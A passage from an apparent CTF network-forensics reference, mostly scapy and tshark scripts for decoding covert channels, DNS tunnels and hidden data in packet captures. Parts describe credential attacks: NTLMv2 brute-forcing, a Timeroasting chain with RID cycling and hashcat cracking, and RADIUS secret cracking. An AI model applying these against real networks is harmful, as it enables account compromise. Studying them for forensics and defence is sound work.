2017)](#dnscat2-traffic-reassembly-from-dns-pcap-bsidessf-2017)\n- [Unreferenced PDF Objects with Hidden Pages (SharifCTF 7 2016)](#unreferenced-pdf-objects-with-hidden-pages-sharifctf-7-2016)\n- [RDP Session Decryption via Extracted PKCS12 Key (HITB 2017)](#rdp-session-decryption-via-extracted-pkcs12-key-hitb-2017)\n- [RADIUS Shared Secret Cracking (UConn CyberSEED 2017)](#radius-shared-secret-cracking-uconn-cyberseed-2017)\n- [RC4 Stream Identification in Shellcode PCAP (CODE BLUE 2017)](#rc4-stream-identification-in-shellcode-pcap-code-blue-2017)\n- [ICMP Ping Time-Delay Covert Channel (DefCamp 2018)](#icmp-ping-time-delay-covert-channel-defcamp-2018)\n\n---\n\n## Packet Interval Timing-Based Encoding (EHAX 2026)\n\n**Pattern (Breathing Void):** Large PCAPNG with millions of packets, but only a few hundred on one interface carry data. The signal is in the **timing gaps** between identical packets, not their content.\n\n**Identification:** Challenge mentions \"breathing\", \"void\", \"silence\", or timing. PCAP has many interfaces but only one has interesting traffic. Packets are identical but spaced at two distinct intervals.\n\n**Decoding workflow:**\n```python\nfrom scapy.all import rdpcap\n\npackets = rdpcap('challenge.pcapng')\n\n# 1. Filter to the right interface (e.g., interface 2)\n# tshark: tshark -r challenge.pcapng -Y \"frame.interface_id == 2\" -T fields -e frame.time_epoch\n\n# 2. Compute inter-packet intervals\ntimes = [float(pkt.time) for pkt in packets if pkt.sniffed_on == 'interface_2']\nintervals = [times[i+1] - times[i] for i in range(len(times)-1)]\n\n# 3. Identify binary mapping (two distinct interval values)\n# E.g., 10ms → 0, 100ms → 1 (threshold at ~50ms)\nthreshold = 0.05 # 50ms\nbits = [0 if dt \u003c threshold else 1 for dt in intervals]\n\n# 4. May need to prepend a leading 0 bit (first interval has no predecessor)\nbits = [0] + bits\n\n# 5. Convert bits to bytes (MSB-first)\ndata = bytes(int(''.join(str(b) for b in bits[i:i+8]), 2)\n for i in range(0, len(bits) - 7, 8))\nprint(data.decode(errors='replace'))\n```\n\n**Key insight:** When identical packets appear on a single interface with only two practical interval values, it's almost certainly binary encoding via timing. The content is noise — the signal is in the gaps. Filter by interface and count unique intervals first.\n\n**Scale tip:** Large PCAPs (millions of packets) often have the signal in a tiny subset. Triage with `tshark -q -z io,phs` to find which interface has the fewest packets — that's likely the data carrier.\n\n---\n\n## NTLMv2 Hash Cracking from PCAP (Pragyan 2026)\n\n**Pattern ($whoami):** SMB2 authentication in packet capture.\n\n**Extraction:** From NTLMSSP_AUTH packet, extract: server challenge, NTProofStr, and blob.\n\n**Brute-force with known password format:**\n```python\nimport hashlib, hmac\nfrom Crypto.Hash import MD4\n\ndef try_password(password, username, domain, server_challenge, blob, expected_proof):\n nt_hash = MD4.new(password.encode('utf-16-le')).digest()\n identity = (username.upper() + domain).encode('utf-16-le')\n ntlmv2_hash = hmac.new(nt_hash, identity, hashlib.md5).digest()\n proof = hmac.new(ntlmv2_hash, server_challenge + blob, hashlib.md5).digest()\n return proof == expected_proof\n```\n\n---\n\n## TCP Flag Covert Channel (BearCatCTF 2026)\n\n**Pattern (pCapsized):** Suspicious TCP packets with chaotic flag combinations (FIN+SYN, SYN+RST+PSH+URG, etc.). The 6 TCP flag bits encode base64 characters.\n\n**Decoding:**\n```python\nfrom scapy.all import rdpcap, TCP\n\npkts = rdpcap('capture.pcap')\nsuspicious = [p for p in pkts if TCP in p and p[TCP].dport == 5748]\n\n# Map 6-bit flag value to base64 alphabet\nb64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'\nencoded = ''.join(b64[p[TCP].flags & 0x3F] for p in suspicious)\n\nimport base64\nflag = base64.b64decode(encoded).decode()\n```\n\n**Key insight:** TCP has 6 standard flag bits (FIN, SYN, RST, PSH, ACK, URG) = values 0-63, matching the base64 alphabet exactly. Unusual flag combinations on otherwise normal-looking packets indicate covert channel usage. Filter by destination port or source IP to isolate the channel.\n\n**Detection:** Packets with nonsensical flag combinations (e.g., FIN+SYN simultaneously). Consistent destination port. Packet count is a multiple of 4 (base64 alignment).\n\n---\n\n## DNS Query Name Last-Byte Steganography (UTCTF 2026)\n\n**Pattern (Last Byte Standing):** PCAP with DNS queries where data is encoded in the last byte of each query name.\n\n**Identification:** Many DNS queries to unusual or sequential subdomains. The meaningful data is NOT in the query name itself but in the final byte/character of each name.\n\n**Decoding workflow:**\n```python\nfrom scapy.all import rdpcap, DNS, DNSQR\n\npackets = rdpcap('last-byte-standing.pcap')\n\ndata = []\nfor pkt in packets:\n if pkt.haslayer(DNSQR):\n qname = pkt[DNSQR].qname.decode(errors='replace').rstrip('.')\n if qname:\n data.append(qname[-1]) # Last character of query name\n\n# Reconstruct message from last bytes\nmessage = ''.join(data)\nprint(message)\n# May need additional decoding (hex, base64, etc.)\n```\n\n**Variants:**\n- Last byte of each subdomain label (split on `.`)\n- Specific character position (first, Nth, last)\n- Hex-encoded bytes across multiple queries\n- Subdomain labels as base32/base64 chunks (DNS tunneling)\n- **Trailing byte after DNS question structure** (see below)\n\n**Key insight:** DNS exfiltration often hides data in query names. When queries look random but follow a pattern, extract specific character positions. The \"last byte\" pattern is simple but effective — each query contributes one byte to the message.\n\n**Detection:** Large number of DNS queries to a single domain, queries with no legitimate purpose, sequential or patterned subdomain names.\n\n### DNS Trailing Byte Binary Encoding (UTCTF 2026)\n\n**Pattern (Last Byte Standing variant):** Each DNS query packet contains a single extra byte appended AFTER the standard DNS question structure (after the null terminator + Type A + Class IN fields). The extra byte is `0x30` ('0') or `0x31` ('1'), encoding one bit per packet.\n\n**Decoding workflow:**\n```python\nfrom scapy.all import rdpcap, DNS, DNSQR, Raw\n\npackets = rdpcap('challenge.pcap')\n\nbits = []\nfor pkt in packets:\n if pkt.haslayer(DNSQR):\n # Get raw DNS payload\n raw = bytes(pkt[DNS])\n # Standard DNS question ends at: header(12) + qname + null(1) + type(2) + class(2)\n qname = pkt[DNSQR].qname\n expected_len = 12 + len(qname) + 1 + 2 + 2 # +1 for leading length byte\n if len(raw) > expected_len:\n trailing = raw[expected_len:]\n for b in trailing:\n bits.append(chr(b)) # '0' or '1'\n\n# Convert bit string to ASCII (MSB-first, 8-bit chunks)\nbitstring = ''.join(bits)\nflag = ''.join(chr(int(bitstring[i:i+8], 2)) for i in range(0, len(bitstring) - 7, 8))\nprint(flag)\n```\n\n**Key insight:** Data is hidden not in the DNS query name but in extra bytes padding the packet after the question record. Wireshark hex inspection reveals non-standard packet lengths. Each trailing byte represents ASCII '0' or '1', forming a binary stream that decodes to the flag.\n\n**Detection:** DNS packets slightly larger than expected for their query name. Hex dump shows `0x30`/`0x31` bytes after the Class IN field (`00 01`). Consistent query domain across all packets.\n\n---\n\n## Multi-Layer PCAP with XOR + ZIP (UTCTF 2026)\n\n**Pattern (Half Awake):** PCAP with multiple protocol layers hiding data. Requires protocol-aware extraction, XOR decryption with a key found in-band, and merging parallel data streams.\n\n**Detailed workflow:**\n\n1. **Inspect HTTP streams** for instructions or hints (e.g., \"mDNS names are hints\", \"Not every TCP blob is what it pretends to be\")\n2. **Identify fake protocol streams:** A TCP stream labeled as TLS may actually contain a raw ZIP file (PK magic bytes `50 4b`). Check raw hex of suspicious streams\n3. **Extract XOR key from mDNS:** Look for mDNS TXT records (e.g., `key.version.local`) containing the XOR key\n4. **XOR-decrypt** the extracted data using the mDNS key\n5. **Merge parallel datasets** using printability as selector\n\n```python\nimport string\nfrom scapy.all import rdpcap, Raw, DNS, DNSRR\n\npackets = rdpcap('half-awake.pcap')\n\n# 1. Extract XOR key from mDNS TXT record\nxor_key = None\nfor pkt in packets:\n if pkt.haslayer(DNSRR):\n rr = pkt[DNSRR]\n if b'key' in rr.rrname.lower():\n xor_key = int(rr.rdata, 16) # e.g., 0xb7\n\n# 2. Extract fake TLS stream (look for PK header in raw TCP data)\n# Use Wireshark: tcp.stream eq N → Export raw bytes\n# Or extract with scapy by filtering the right stream\n\n# 3. XOR-decrypt two datasets from ZIP contents\ndef xor_decrypt(data, key):\n return bytes(b ^ key for b in data)\n\np1 = xor_decrypt(stage1_data, xor_key)\np2 = xor_decrypt(stage2_data, xor_key)\n\n# 4. Merge using printability: take the printable character from each position\nflag = ''.join(\n chr(p1[i]) if chr(p1[i]) in string.printable and chr(p1[i]).isprintable()\n else chr(p2[i])\n for i in range(len(p1))\n)\nprint(flag)\n```\n\n**Key insight:** When a PCAP contains two XOR-decoded byte arrays of equal length where neither alone produces readable text, merge them character-by-character using printability as the selector — take whichever byte at each position is a printable ASCII character. The XOR key is often hidden in an in-band protocol like mDNS TXT records rather than requiring brute-force.\n\n**Indicators:**\n- HTTP stream with meta-instructions (\"not every TCP blob is what it pretends to be\")\n- TCP stream with mismatched protocol dissection (Wireshark shows TLS but raw bytes contain PK/ZIP headers)\n- mDNS queries for suspicious service names (e.g., `key.version.local`)\n- Two data files of identical length in extracted archive\n\n---\n\n## Brotli Decompression Bomb Seam Analysis (BearCatCTF 2026)\n\n**Pattern (Cursed Map):** HTTP download of a file that decompresses to gigabytes (decompression bomb). The flag is sandwiched between two bomb halves at a seam in the compressed data.\n\n**Identification:** Compressed data shows a repeating block pattern (e.g., 105-byte period). One block breaks the pattern — the flag is at this discontinuity.\n\n```python\nimport brotli\n\nwith open('flag.txt.br', 'rb') as f:\n data = f.read()\n\n# Find the repeating block size\nblock_size = 105 # Determined by comparing adjacent blocks\nfor i in range(0, len(data) - block_size, block_size):\n if data[i:i+block_size] != data[i+block_size:i+2*block_size]:\n seam_offset = i + block_size\n break\n\n# Decompress only the anomalous block\ndec = brotli.Decompressor()\nresult = dec.process(data[seam_offset:seam_offset+block_size])\n# Flag is in the decompressed output\n```\n\n**Key insight:** Decompression bombs use highly repetitive compressed data. The flag breaks this repetition, creating a detectable anomaly in the compressed stream. Compare adjacent fixed-size blocks to find the discontinuity, then decompress only that region — no need to decompress the entire multi-gigabyte output.\n\n**Detection:** File with extreme compression ratio (MB → GB), HTTP Content-Encoding: br, or file identified as Brotli. Tools hang or OOM when trying to decompress.\n\n---\n\n## SMB RID Recycling via LSARPC (Midnight 2026)\n\n**Pattern (UntilTime):** PCAP with SMB2 authentication followed by RPC calls over `\\pipe\\lsarpc`. The attacker enumerates Active Directory accounts by iterating RIDs (Relative Identifiers) through LSARPC functions.\n\n**Identification:** SMB2 session setup with multiple authentication attempts (null session, Guest, random username), followed by RPC bind to LSARPC and repeated `LsaLookupSids` calls with incrementing RIDs.\n\n**Wireshark analysis:**\n```bash\n# Filter SMB2 authentication attempts from attacker IP\ntshark -r capture.pcapng -Y \"ip.src == 198.51.100.16 && smb2.cmd == 1\"\n\n# Look for LSARPC RPC calls\ntshark -r capture.pcapng -Y \"dcerpc.cn_bind_to_str contains lsarpc\"\n```\n\n**RPC call sequence:**\n1. `LsaOpenPolicy` — opens a policy handle on the target\n2. `LsaQueryInformationPolicy` — extracts the domain SID (e.g., `S-1-5-21-...`)\n3. `LsaLookupSids` — resolves SIDs to account names by iterating RIDs (1000, 1001, 1002, ...)\n\n**Key insight:** Guest account authentication (often enabled by default) grants enough access to enumerate domain accounts via LSARPC. The attacker constructs SIDs by appending incrementing RIDs to the domain SID and calling `LsaLookupSids` for each. Valid accounts return their name; invalid RIDs return errors. This technique is called **RID cycling** or **RID brute-forcing**.\n\n**Detection indicators:**\n- Multiple `LsaLookupSids` requests with sequential RIDs\n- Guest authentication success followed by RPC pipe connection\n- High volume of LSARPC traffic from a single source\n\n---\n\n## Timeroasting / MS-SNTP Hash Extraction (Midnight 2026)\n\n**Pattern (UntilTime):** After enumerating valid machine account RIDs via RID recycling, the attacker sends NTP requests with those RIDs to extract HMAC-MD5 authentication material from the domain controller's MS-SNTP responses.\n\n**Background:** Microsoft's MS-SNTP extends standard NTP with Netlogon authentication in Active Directory environments. The client places a domain RID in the NTP `Key Identifier` field (4 bytes, little-endian). The domain controller responds with an HMAC-MD5 signature derived from the machine account's NTLM hash — leaking crackable authentication material.\n\n**Wireshark extraction:**\n```bash\n# Filter NTP traffic from attacker\ntshark -r capture.pcapng -Y \"ntp && ip.src == 10.16.13.13\" -T fields -e udp.payload\n```\n\n**Convert Key Identifier to RID:**\n```bash\n# NTP Key Identifier is 4 bytes, little-endian\necho \"\u003ckey_id_hex>\" | sed 's/\\(..\\)/\\1 /g' | awk '{print \"0x\"$4$3$2$1}' | xargs printf \"%d\\n\"\n```\n\n**NTP response payload structure (68 bytes):**\n\n| Offset | Length | Field |\n|--------|--------|-------|\n| 0-47 | 48 | Salt (NTP header + extensions) |\n| 48-51 | 4 | Key Identifier (RID, little-endian) |\n| 52-67 | 16 | HMAC-MD5 crypto-checksum |\n\n**Hash reconstruction for Hashcat (mode 31300):**\n```python\nimport sys\nfrom struct import unpack\n\ndef to_hashcat_form(hex_payload):\n data = bytes.fromhex(hex_payload.strip())\n salt = data[:48]\n rid = unpack('\u003cI', data[-20:-16])[0]\n md5hash = data[-16:]\n return f\"{rid}:$sntp-ms${md5hash.hex()}${salt.hex()}\"\n\nif len(sys.argv) != 2:\n print(\"Usage: python sntp_to_hashcat.py \u003chex_payload>\")\n sys.exit(1)\n\nprint(to_hashcat_form(sys.argv[1]))\n```\n\n**Cracking with Hashcat:**\n```bash\n# Mode 31300 = MS-SNTP (Timeroasting)\nhashcat -m 31300 -a 0 -O hashes.txt rockyou.txt --username\n```\n\n**Example hash format:**\n```text\n1108:$sntp-ms$d7d0422d66705c6189c1d20aed76baa4$1c0111e900000000000a09314c4f434ced4c979d652b89f1e1b8428bffbfcd0aed4ca3bbb1338716ed4ca3bbb133cf3a\n```\n\n**Key insight:** MS-SNTP responses from domain controllers leak HMAC-MD5 authentication material tied to machine account NTLM hashes. Unlike Kerberoasting (which targets service accounts), Timeroasting targets **machine accounts** whose passwords are often weak or predictable (e.g., lowercase hostname). Any valid RID triggers a response — no special privileges required beyond network access to the DC's NTP service (UDP 123).\n\n**Full attack chain:**\n1. Authenticate to SMB as Guest\n2. Enumerate valid RIDs via LSARPC RID recycling\n3. Send MS-SNTP requests with discovered RIDs\n4. Extract HMAC-MD5 hashes from NTP responses\n5. Crack offline with Hashcat mode 31300\n\n---\n\n## ICMP Payload Steganography with Byte Rotation (HackIM 2016)\n\nData hidden in ICMP echo request/reply payloads with byte-level rotation encoding:\n\n```python\nfrom scapy.all import rdpcap, ICMP\n\npackets = rdpcap('challenge.pcap')\nicmp_data = b''\nfor pkt in packets:\n if pkt.haslayer(ICMP) and pkt[ICMP].type == 8: # Echo request\n icmp_data += bytes(pkt[ICMP].payload)\n\n# Apply byte rotation (Caesar cipher on bytes)\nSHIFT = 42\ndecoded = bytes((b - SHIFT) % 256 for b in icmp_data)\n\n# Result may be base64-encoded\nimport base64\nplaintext = base64.b64decode(decoded)\n```\n\n**Key insight:** ICMP payloads are often ignored by analysts focused on TCP/UDP. Check for non-standard payload sizes or non-zero data in ICMP packets. Common encoding layers: byte rotation -> base64 -> shell commands.\n\n---\n\n## Packet Reconstruction via Checksum Validation (Break In 2016)\n\nReconstruct corrupted/incomplete packets by using protocol checksums as validation:\n\n1. **Identify missing bytes** from packet structure analysis (Ethernet, IP, TCP headers)\n2. **Brute-force missing values** and validate against:\n - IP header checksum (16-bit ones' complement)\n - TCP checksum (includes pseudo-header)\n3. **Extract data** from reconstructed payload\n\n```python\nimport struct\n\ndef ip_checksum(header_bytes):\n \"\"\"Compute IP header checksum\"\"\"\n words = struct.unpack('!' + 'H' * (len(header_bytes) // 2), header_bytes)\n s = sum(words)\n while s >> 16:\n s = (s & 0xFFFF) + (s >> 16)\n return ~s & 0xFFFF\n\n# Brute-force missing byte to match expected checksum\nfor candidate in range(256):\n header = header_template[:missing_offset] + bytes([candidate]) + header_template[missing_offset+1:]\n if ip_checksum(header) == 0: # Valid checksum sums to 0\n print(f\"Missing byte: 0x{candidate:02x}\")\n```\n\n**Key insight:** Protocol checksums constrain missing data. For single missing bytes, brute-force is instant. For multiple missing bytes, use TCP sequence numbers and MAC/IP header structure to reduce the search space.\n\n---\n\n## dnscat2 Traffic Reassembly from DNS PCAP (BSidesSF 2017)\n\n**Pattern (dnscap):** Extract data tunneled via dnscat2 from a DNS pcap. Decode base32 subdomain labels from DNS queries, strip the 9-byte dnscat2 protocol header from each chunk, deduplicate retransmitted packets by comparing consecutive queries, then reassemble the payload (e.g., PNG image).\n\n```python\nfrom scapy.all import rdpcap, DNSQR\n\npackets = rdpcap('capture.pcap')\ndomain = '.skullseclabs.org.'\nprev = None\ndata = b''\n\nfor p in packets:\n if not p.haslayer(DNSQR):\n continue\n qname = p[DNSQR].qname.decode()\n if domain not in qname:\n continue\n # Strip domain, join hex-encoded labels\n labels = qname.replace(domain, '').split('.')\n chunk = bytes.fromhex(''.join(labels))\n chunk = chunk[9:] # strip 9-byte dnscat2 header\n if chunk == prev:\n continue # skip retransmission\n prev = chunk\n data += chunk\n\nwith open('extracted.png', 'wb') as f:\n f.write(data)\n```\n\n**Key insight:** dnscat2 encodes data in DNS query subdomain labels (hex or base32). Each query carries a 9-byte header (session ID, sequence, acknowledgment). Retransmissions are common — deduplicate by comparing consecutive payloads. The reassembled stream may contain files (PNG, documents) identifiable by magic bytes.\n\n---\n\n## Unreferenced PDF Objects with Hidden Pages (SharifCTF 7 2016)\n\n**Pattern (Strange PDF):** A PDF contains objects not referenced by the page tree. To reveal hidden content: (1) examine raw PDF objects with `qpdf --show-xref` or a text editor, (2) identify unreferenced content stream objects, (3) modify the `/Kids` array in the Pages object to include hidden page references, (4) increment the `/Count` value, (5) re-render the PDF to display previously hidden pages containing flag data.\n\n```bash\n# List all objects in the PDF\nqpdf --show-xref suspicious.pdf\n\n# Find pages object and hidden content objects\nstrings suspicious.pdf | grep -E '/Type /Page|/Contents|/Kids'\n\n# Manual fix: edit PDF to add hidden page references\n# Change: /Kids [1 0 R] -> /Kids [1 0 R 5 0 R]\n# Change: /Count 1 -> /Count 2\n# Rewrite xref table or use qpdf --linearize to fix offsets\nqpdf --linearize modified.pdf fixed.pdf\n```\n\n**Key insight:** PDF viewers only render pages reachable from the `/Pages` tree root. Unreferenced objects are invisible but still present in the file. Check object cross-references: any content stream object not in `/Kids` may contain hidden data. `mutool clean -d` and `qpdf --show-object N` help inspect individual objects.\n\n---\n\n## RDP Session Decryption via Extracted PKCS12 Key (HITB 2017)\n\nPCAP contains a PKCS12 (.p12/.pfx) file transmitted over UDP. Extract the private key from the PKCS12 container, then load it into Wireshark to decrypt the RDP session and recover transmitted data.\n\n```bash\n# Extract private key from PKCS12 (no cert, no passphrase protection)\nopenssl pkcs12 -in cert.p12 -out key.pem -nocerts -nodes\n\n# In Wireshark: Edit > Preferences > Protocols > TLS > RSA keys list\n# Add entry: IP=\u003crdp_server_ip>, Port=3389, Protocol=tpkt, Key file=key.pem\n```\n\n**Key insight:** PKCS12 files in network captures provide the private key needed to decrypt encrypted RDP sessions in Wireshark. Look for .p12/.pfx file transfers (often in UDP or FTP streams) before the RDP session begins.\n\n---\n\n## RADIUS Shared Secret Cracking (UConn CyberSEED 2017)\n\nExtract the RADIUS authenticator hash from a PCAP using `radius2john.pl`, crack the shared secret with john, then enter the cracked secret in Wireshark to decrypt obfuscated password fields.\n\n```bash\n# Extract hash for john\nperl radius2john.pl capture.pcap > radius_hash.txt\njohn radius_hash.txt --wordlist=rockyou.txt\n\n# Wireshark: Edit > Preferences > Protocols > RADIUS > Shared Secret = \u003ccracked_secret>\n# RADIUS Access-Request packets will now show decrypted User-Password fields\n```\n\n`radius2john.pl` is part of the JohnTheRipper jumbo package (`src/radius2john.pl`).\n\n**Key insight:** RADIUS uses MD5(shared_secret + authenticator + password) for password obfuscation — cracking the shared secret via john exposes all credentials in the capture. The shared secret is typically a short dictionary word.\n\n---\n\n## RC4 Stream Identification in Shellcode PCAP (CODE BLUE 2017)\n\nA backdoor sends 32 bytes of `/dev/urandom` as an RC4 key, then encrypts all subsequent traffic. Identify RC4 by the characteristic 256-byte KSA (Key Scheduling Algorithm) table initialization pattern visible in the shellcode. Extract the key from the first 32 bytes of the TCP stream and decrypt the remainder.\n\n```python\nfrom scapy.all import rdpcap, TCP\n\npackets = rdpcap('capture.pcap')\nstream = b''\nfor pkt in packets:\n if TCP in pkt and pkt[TCP].payload:\n stream += bytes(pkt[TCP].payload)\n\n# First 32 bytes = RC4 key (from /dev/urandom)\nkey = stream[:32]\nciphertext = stream[32:]\n\n# RC4 decryption\ndef rc4(key, data):\n S = list(range(256))\n j = 0\n for i in range(256):\n j = (j + S[i] + key[i % len(key)]) % 256\n S[i], S[j] = S[j], S[i]\n i = j = 0\n out = []\n for byte in data:\n i = (i + 1) % 256\n j = (j + S[i]) % 256\n S[i], S[j] = S[j], S[i]\n out.append(byte ^ S[(S[i] + S[j]) % 256])\n return bytes(out)\n\nplaintext = rc4(key, ciphertext)\n```\n\n**Key insight:** RC4 in shellcode is identifiable by the 256-byte permutation table initialization loop (KSA). The key is typically the first N bytes transmitted over the connection before encrypted data begins. Look for a fixed-length initial burst followed by encrypted traffic.\n\n---\n\nSee also: [network.md](network.md) for basic network forensics techniques (tcpdump, TLS/SSL decryption, Wireshark, port scanning, SMB3 decryption, credential extraction, 5G protocols).\n\n---\n\n## ICMP Ping Time-Delay Covert Channel (DefCamp 2018)\n\n**Pattern:** An attacker exfiltrates data inside ICMP echo replies by modulating the server's response time. Latency under 200 ms encodes \"ignore\" (frame), 200–1000 ms encodes binary `0`, and >1000 ms encodes binary `1`. Reconstruct the data by pairing each request with its reply (matching `icmp.ident`/`icmp.seq`) and converting the time delta to bits.\n\n```python\nfrom scapy.all import rdpcap, ICMP\npkts = rdpcap(\"broken_tv.pcap\")\npairs = {}\nfor p in pkts:\n if ICMP in p and p[ICMP].type == 8: # echo request\n pairs[p[ICMP].seq] = p.time\nbits = []\nfor p in pkts:\n if ICMP in p and p[ICMP].type == 0: # echo reply\n dt = p.time - pairs[p[ICMP].seq]\n if dt \u003c 0.2: # \u003c200 ms: filler\n continue\n bits.append(\"1\" if dt > 1.0 else \"0\")\ndata = int(\"\".join(bits), 2).to_bytes(len(bits)//8, \"big\")\nprint(data)\n```\n\n**Key insight:** ICMP timing covert channels split a continuous latency distribution into discrete bins. The two thresholds matter more than the exact values: any bimodal \"fast vs slow\" distribution flanked by a \"filler\" region lets the receiver self-clock. Detect this channel by plotting the histogram of `reply_time - request_time` for all ICMP pairs — legit traffic forms a single Gaussian, covert traffic shows clear modes.\n\n**References:** DefCamp CTF Qualification 2018 — Broken TV, writeup 11415\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":26373,"content_sha256":"643807da97c3e4bf68cf5e8719c3adddde8426ef8c86342a23f033bbf2032bbe"},{"filename":"network.md","content":"# CTF Forensics - Network\n\n## Table of Contents\n- [tcpdump Quick Reference](#tcpdump-quick-reference)\n- [TLS/SSL Decryption via Keylog File](#tlsssl-decryption-via-keylog-file)\n- [Wireshark Basics](#wireshark-basics)\n- [Port Scan Analysis](#port-scan-analysis)\n- [Gateway/Device via MAC OUI](#gatewaydevice-via-mac-oui)\n- [WordPress Reconnaissance](#wordpress-reconnaissance)\n- [Post-Exploitation Traffic](#post-exploitation-traffic)\n- [Credential Extraction](#credential-extraction)\n- [SMB3 Encrypted Traffic](#smb3-encrypted-traffic)\n- [5G/NR Protocol Analysis](#5gnr-protocol-analysis)\n- [Email Headers](#email-headers)\n- [USB HID Stenography/Chord PCAP (UTCTF 2024)](#usb-hid-stenographychord-pcap-utctf-2024)\n- [BCD Encoding in UDP (VuwCTF 2025)](#bcd-encoding-in-udp-vuwctf-2025)\n- [HTTP File Upload Exfiltration in PCAP (MetaCTF 2026)](#http-file-upload-exfiltration-in-pcap-metactf-2026)\n- [TLS Master Key Extraction from Coredump (PlaidCTF 2014)](#tls-master-key-extraction-from-coredump-plaidctf-2014)\n- [Split Archive Reassembly from HTTP Transfers (ASIS CTF Finals 2013)](#split-archive-reassembly-from-http-transfers-asis-ctf-finals-2013)\n- [WPA/WEP WiFi Decryption from PCAP (DefCamp CTF 2016)](#wpawep-wifi-decryption-from-pcap-defcamp-ctf-2016)\n- [Corrupted PCAP Repair with pcapfix (CSAW CTF 2016)](#corrupted-pcap-repair-with-pcapfix-csaw-ctf-2016)\n- [SAP Dialog Protocol Decryption from PCAP (GreHack CTF 2016)](#sap-dialog-protocol-decryption-from-pcap-grehack-ctf-2016)\n- [DNS Exfiltration Oracle via Binary Response Probing (ASIS CTF Finals 2017)](#dns-exfiltration-oracle-via-binary-response-probing-asis-ctf-finals-2017)\n- [ICMP Echo Payload Length as Covert Channel (TokyoWesterns CTF 4th 2018)](#icmp-echo-payload-length-as-covert-channel-tokyowesterns-ctf-4th-2018)\n\n---\n\n## tcpdump Quick Reference\n\nCommand-line packet capture tool for quick network forensics triage.\n\n```bash\n# Basic capture on interface\nsudo tcpdump -i eth0\n\n# Capture to file\nsudo tcpdump -i eth0 -w capture.pcap\n\n# Filter by source IP\nsudo tcpdump -i eth0 src 192.168.1.100\n\n# Filter by destination port\nsudo tcpdump -i eth0 dst port 80\n\n# Combined filter with file output\nsudo tcpdump -i eth0 -w packets.pcap 'src 172.22.206.250 and port 443'\n\n# Read from file with verbose output\ntcpdump -r capture.pcap -v\n\n# Show packet contents in ASCII\ntcpdump -r capture.pcap -A\n\n# Show hex + ASCII dump\ntcpdump -r capture.pcap -X\n\n# Count total packets\ntcpdump -r capture.pcap -q | wc -l\n```\n\n**Common filters:**\n| Filter | Description |\n|--------|-------------|\n| `host 10.0.0.1` | Traffic to/from IP |\n| `net 192.168.1.0/24` | Entire subnet |\n| `port 80` | HTTP traffic |\n| `tcp` / `udp` / `icmp` | Protocol filter |\n| `src host X and dst port Y` | Combined |\n\n**Key insight:** Use tcpdump for quick command-line triage when Wireshark is unavailable. Pipe to `strings` or `grep` for fast flag hunting: `tcpdump -r capture.pcap -A | grep -i flag`.\n\n---\n\n## TLS/SSL Decryption via Keylog File\n\nTo decrypt TLS traffic in Wireshark, provide either the pre-master secret or a keylog file.\n\n**Method 1 — SSLKEYLOGFILE (client-side key logging):**\n\nIf the challenge provides a keylog file (or you can set `SSLKEYLOGFILE`):\n```bash\n# Set environment variable before running the client\nexport SSLKEYLOGFILE=/tmp/sslkeys.log\ncurl https://target/secret\n\n# Import into Wireshark:\n# Edit → Preferences → Protocols → TLS → (Pre)-Master-Secret log filename → /tmp/sslkeys.log\n```\n\n**Keylog file format (NSS Key Log Format):**\n```text\nCLIENT_RANDOM \u003c32_bytes_client_random_hex> \u003c48_bytes_master_secret_hex>\n```\n\n**Method 2 — RSA private key (if server key is known):**\n\n**Note:** Only works with RSA key exchange. Sessions using forward secrecy (ECDHE/DHE cipher suites) cannot be decrypted with the server's private key — use Method 1 instead. CTF challenges with weak RSA keys typically use RSA key exchange.\n\n```bash\n# Wireshark: Edit → Preferences → Protocols → TLS → RSA keys list\n# IP: 127.0.0.1, Port: 443, Protocol: http, Key File: server.key\n\n# Or via tshark:\ntshark -r capture.pcap -o \"tls.keys_list:127.0.0.1,443,http,server.key\" -Y http\n```\n\n**Method 3 — Weak RSA key factoring (see also linux-forensics.md):**\n```bash\n# Extract certificate from PCAP\ntshark -r capture.pcap -Y \"tls.handshake.type==11\" -T fields -e tls.handshake.certificate | head -1\n\n# Factor weak modulus, generate private key with rsatool\npython rsatool.py -p \u003cp> -q \u003cq> -e 65537 -o server.key\n\n# Import key into Wireshark\n```\n\n**SSL handshake components needed for decryption:**\n1. `client_random` — sent in ClientHello\n2. `server_random` — sent in ServerHello\n3. Pre-master secret (PMS) — encrypted in ClientKeyExchange with server's RSA public key\n\n**Key insight:** Look for keylog files (`.log`, `sslkeys.txt`) in challenge artifacts. If the challenge gives you a private key, use it directly. For weak RSA keys in certificates, factor the modulus to derive the private key.\n\n---\n\n## Wireshark Basics\n\n```bash\n# Filters\nhttp.request.method == \"POST\"\ntcp.stream eq 5\nframe contains \"flag\"\n\n# Export files\nFile → Export Objects → HTTP\n\n# tshark\ntshark -r capture.pcap -Y \"http\" -T fields -e http.file_data\ntshark -r capture.pcap --export-objects http,/tmp/http_objects\n```\n\n---\n\n## Port Scan Analysis\n\n```bash\n# IP conversation statistics\ntshark -r capture.pcap -q -z conv,ip\n\n# Find open ports (SYN-ACK responses)\ntshark -r capture.pcap -Y \"tcp.flags.syn==1 && tcp.flags.ack==1\" \\\n -T fields -e ip.src -e tcp.srcport | sort -u\n```\n\n---\n\n## Gateway/Device via MAC OUI\n\n```bash\n# Extract MAC addresses\ntshark -r capture.pcap -Y \"arp\" -T fields \\\n -e arp.src.hw_mac -e arp.src.proto_ipv4 | sort -u\n\n# Vendor lookup\ncurl -s \"https://macvendors.com/query/88:bd:09\"\n```\n\n---\n\n## WordPress Reconnaissance\n\n**Identify WPScan:**\n```bash\ntshark -r capture.pcap -Y \"http.user_agent contains \\\"WPScan\\\"\" | head -1\n```\n\n**WordPress version:**\n```bash\ncat /tmp/http_objects/feed* | grep -i generator\n```\n\n**Plugins:**\n```bash\ntshark -r capture.pcap \\\n -Y \"http.response.code == 200 && http.request.uri contains \\\"wp-content/plugins\\\"\" \\\n -T fields -e http.request.uri | sort -u\n```\n\n**Usernames (REST API):**\n```bash\ncat /tmp/http_objects/*per_page* | jq '.[].name'\n```\n\n---\n\n## Post-Exploitation Traffic\n\n**Step 1: TCP conversations**\n```bash\ntshark -r capture.pcap -q -z conv,tcp\n```\n\n**Step 2: Established connections (SYN-ACK)**\n```bash\ntshark -r capture.pcap -Y \"tcp.flags.syn == 1 and tcp.flags.ack == 1\" \\\n -T fields -e ip.src -e ip.dst -e tcp.srcport -e tcp.dstport | sort -u\n```\n\n**Step 3: Follow TCP stream**\n```bash\ntshark -r capture.pcap 